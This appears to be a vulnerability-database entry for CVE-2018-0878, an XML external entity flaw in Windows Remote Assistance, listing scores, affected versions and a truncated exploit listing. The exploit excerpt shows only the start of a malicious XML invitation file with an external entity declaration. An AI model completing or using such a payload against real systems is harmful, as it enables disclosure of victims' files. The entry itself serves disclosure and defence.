3.1
CVSSv3

CVE-2018-0878

Published: 14/03/2018 Updated: 08/05/2019
CVSS v2 Base Score: 2.6 | Impact Score: 2.9 | Exploitability Score: 4.9
CVSS v3 Base Score: 3.1 | Impact Score: 1.4 | Exploitability Score: 1.6
VMScore: 265
Vector: AV:N/AC:H/Au:N/C:P/I:N/A:N

Vulnerability Summary

Windows Remote Assistance in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1 and RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and 1709, Windows Server 2016 and Windows Server, version 1709 allows an information disclosure vulnerability due to how XML External Entities (XXE) are processed, aka "Windows Remote Assistance Information Disclosure Vulnerability".

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

microsoft windows 10 1709

microsoft windows 7 -

microsoft windows 8.1

microsoft windows rt 8.1 -

microsoft windows server 2016 1709

microsoft windows 10 1511

microsoft windows 10 1703

microsoft windows server 2008 r2

microsoft windows server 2012 r2

microsoft windows server 2016 -

microsoft windows 10 -

microsoft windows 10 1607

microsoft windows server 2008 -

microsoft windows server 2012 -

Exploits

# Exploit Title: Microsoft Windows Remote Assistance XXE # Date: 27/03/2018 # Exploit Author: Nabeel Ahmed # Tested on: Windows 7 (x64), Windows 10 (x64) # CVE : CVE-2018-0878 # Category: Remote Exploits Invitationmsrcincident ------------------------ <?xml version="10" encoding="UTF-8" ?> <!DOCTYPE zsl [ <!ENTITY % remote SYSTEM ...
Microsoft Windows Remote Assistance suffers from an XML external entity injection vulnerability ...